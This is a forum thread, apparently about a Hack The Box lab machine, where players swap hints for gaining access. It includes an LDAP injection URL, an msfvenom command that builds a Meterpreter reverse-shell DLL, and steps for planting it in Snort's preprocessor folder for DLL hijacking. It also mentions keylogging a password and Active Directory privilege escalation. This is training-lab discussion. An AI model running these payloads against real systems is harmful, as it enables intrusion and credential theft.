[LOOOP]

hey what the step did you take

[zeroedbykrycek]

"http://internal.analysis.htb/users/list.php?name=technician)(description=*"

so I missed this because my gobuster received a 404 on the users directory so it did not enumerate further for the users directory... how was this list.php discovered exactly?

[xlr]

on matters root, are we supposed to trigger the dll somehow, or is automaticaly triggered, i can't see any changes in metasploit exploit

[peRd1]

on matters root, are we supposed to trigger the dll somehow, or is automaticaly triggered, i can't see any changes in metasploit exploit

Every 2 minutes or so, that's how and why the logs are generated as well - being automated. 

And if you name the dll properly, and place it into to the right folder, it should be executed.

Just be patient but if nothing happens for minutes then you did something wrong or your dll is wrong..

[tiresomeenergy]

And if you name the dll properly, and place it into to the right folder, it should be executed.

can u confirm, dll should be named tcapi.dll and placed in snort_dynamicpreprocessor?

edit with more info:
i get error when trying to run manually: ERROR: Failed to load C:\snort\lib\snort_dynamicpreprocessor\tcapi.dll: 193Fatal Error, Quitting..Could not set the event message file. been waiting for it to trigger on normal cadence and still nothing

[xlr]

i've been waiting for quite a while too with this snort method

[Alturis]

I must be missing something. I used msfvenom to generate the dll after trying to do it by hand and it never seemingly being called.

where X is my local ip and port.

msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 -f dll LHOST=10.10.14.X LPORT=X > tcapi.dll

upload tcapi.dll to C:\Snort\lib\snort_dynamicpreprocessor\ with evil-winrm upload command

msfconsole multi/handler lhost lport same ip and port.
run

nothing ever happens. I also tried writing my own dll that just touches a file in c:\temp and that also never triggers

[fl00d777]

I must be missing something. I used msfvenom to generate the dll after trying to do it by hand and it never seemingly being called.

where X is my local ip and port.

msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 -f dll LHOST=10.10.14.X LPORT=X > tcapi.dll

upload tcapi.dll to C:\Snort\lib\snort_dynamicpreprocessor\ with evil-winrm upload command

msfconsole multi/handler lhost lport same ip and port.
run

nothing ever happens. I also tried writing my own dll that just touches a file in c:\temp and that also never triggers

Yeah I'm doing the exact same thing and its not working for me too. I think they must have patched it. This probably was unintended root.

[peRd1]

I must be missing something.

nothing ever happens. I also tried writing my own dll that just touches a file in c:\temp and that also never triggers

Name it sf_engine.dll     

You can read about this more from the snort.conf - dynamic preprocessor libraries are loaded first then core dynamic engine processor. Duh, "pre processor".

Surely, it's not patched first week until release arena is up (seasonal competition).

[peRd1]

Intended root is through encoded file and BCTextEncoder as told by CREATOR.
He said think about what happens when a user enters his password
How can you "steal" it ?

So anyone rooted with that method. Please share how did you do it.

PS: I already rooted the box with snort though but i was just curious about his intended way.

i got the password for the encoded and decoding result in wsmith password :S jaja

Can you share the process of how to proceed with this root path?? It would be great

keylogger and grab the bctextencoder's pass, then decode the private text and probably results in poor will smith's credentials.

from there it's traditional AD privesc, as per bloodhound graph, wsmith > soc_analyst > admin.